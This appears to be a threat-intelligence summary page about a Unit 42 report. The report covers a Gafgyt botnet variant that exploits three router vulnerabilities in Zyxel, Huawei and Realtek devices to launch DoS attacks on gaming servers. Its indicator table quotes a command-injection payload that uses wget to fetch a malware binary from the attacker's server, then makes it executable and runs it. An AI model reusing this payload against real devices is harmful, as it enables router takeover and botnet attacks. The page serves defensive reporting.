Home & Small Office Wireless Routers Exploited to Attack Gaming Servers
Unit 42 details an updated Gafgyt botnet variant exploiting Zyxel, Huawei, and Realtek router vulnerabilities to recruit devices for DoS attacks on gaming servers.
Unit 42 researchers identified an updated Gafgyt variant derived from the JenX botnet that combines three remote code execution exploits: CVE-2017-18368 (Zyxel P660HN-T1A), CVE-2017-17215 (Huawei HG532), and CVE-2014-8361 (Realtek RTL81XX chipset). Shodan scans show more than 32,000 wireless routers worldwide potentially vulnerable to these exploits. The exploits act as droppers, pulling architecture-specific binaries from a malicious server (185.172.110.224), and the botnet performs denial-of-service attacks against gaming servers, most notably Valve Source engine servers.
- Gafgyt variant exploits CVE-2017-18368, CVE-2017-17215, and CVE-2014-8361 in SOHO wireless routers.
- Targets Zyxel P660HN-T1A, Huawei HG532, and Realtek RTL81XX devices; Shodan shows 32,000+ potentially vulnerable routers.
- Uses exploit-based scanners instead of telnet dictionary attacks, dropping architecture-specific binaries from a remote server.
- Competes with the JenX botnet, which sold on Instagram; performs DoS attacks on Valve Source engine gaming servers.
- ATT&CK
- T1190 Exploit Public-Facing ApplicationT1105 Ingress Tool TransferT1498 Network Denial of Service
- Organizations
- Unit 42
Vulnerabilities mentioned
All| CVE | Vulnerability | CVSS | EPSS | Signals | Published |
|---|---|---|---|---|---|
| CVE-2014-8361 | Improper Input Validation in Realtek SDK miniigd SOAP Service Enables Remote RCE | — | 100% | KEV | — KEV |
| CVE-2017-17215 | Huawei HG532 with some customized versions has a remote code execution vulnerability | 8.8 | 78% | ||
| CVE-2017-18368 | Unauthenticated OS Command Injection in Zyxel/Billion TrueOnline Routers | 9.8 | 95% | KEVPoC ×3 | KEV |
Indicators of compromise
auto-extracted · verify before use · export allAll| Type | Indicator | Context |
|---|---|---|
| ipv4 | 185.172.110.224 | ported=1&LogFlag=0&remote_hos t=%3bcd+/tmp; wget + http : //185.172.110[.]224/arm7;chmod+777+arm7;./arm7 zyxel ; rm +- rf + arm7 % 3b % |
| md5 | 3612f843a42db38f48f59d2a3597e19c | d75ee30 ” , uri =“/ ctrlt / DeviceUpgrade_1 ” , response =“ 3612f843a42db38f48f59d2a3597e19c ” , algorithm =“ MD5 ” , qop =“ auth ” , nc = 00000001 , cn |
| md5 | 88645cefb1f9ede0e336e3569d75ee30 | “ dslf - config ” , realm =“ HuaweiHomeGateway ” , nonce =“ 88645cefb1f9ede0e336e3569d75ee30 ” , uri =“/ ctrlt / DeviceUpgrade_1 ” , response =“ 3612f84 |
| md5 | f1c099d65bf94e009f5e65238caac468 | 18b34633f303949a0bb07282dedcd8e9dc Updated JenX Sample MD5: f1c099d65bf94e009f5e65238caac468 SHA256: 676813ee73d382c08765a75204be8bab6bea730ff0073de1076 |
| md5 | fb93601f8d4e0228276edff1c6fe635d | tinuity. Indicators of Compromise Original JenX sample MD5: fb93601f8d4e0228276edff1c6fe635d SHA256: 04463cd1a961f7cd1b77fe6c9e9f5e18b34633f303949a0bb07 |
| sha256 | 04463cd1a961f7cd1b77fe6c9e9f5e18b34633f303949a0bb07282dedcd8e9dc | l JenX sample MD5: fb93601f8d4e0228276edff1c6fe635d SHA256: 04463cd1a961f7cd1b77fe6c9e9f5e18b34633f303949a0bb07282dedcd8e9dc Updated JenX Sample MD5: f1c099d65bf94e009f5e65238caac468 S |
| sha256 | 676813ee73d382c08765a75204be8bab6bea730ff0073de10765091a8decdf07 | eam uncovered an updated variant of Gafgyt malware (SHA256: 676813ee73d382c08765a75204be8bab6bea730ff0073de10765091a8decdf07 ) derived from JenX variant, and after analyzing the sample |
From the original article
10 min read at unit42.paloaltonetworks.com
In September 2019, during the proactive IoT threat-hunting process conducted daily by the Unit 42 (formerly Zingbox security research) team, we discovered an updated Gafgyt variant attempting to infect IoT devices; specifically small office/home wireless routers of known commercial brands like Zyxel, Huawei, and Realtek.
By Asher Davila · unit42.paloaltonetworks.com
A short excerpt; the article and its images belong to the publisher. Summary, key facts and assessment above are AI-written from the article and can be wrong.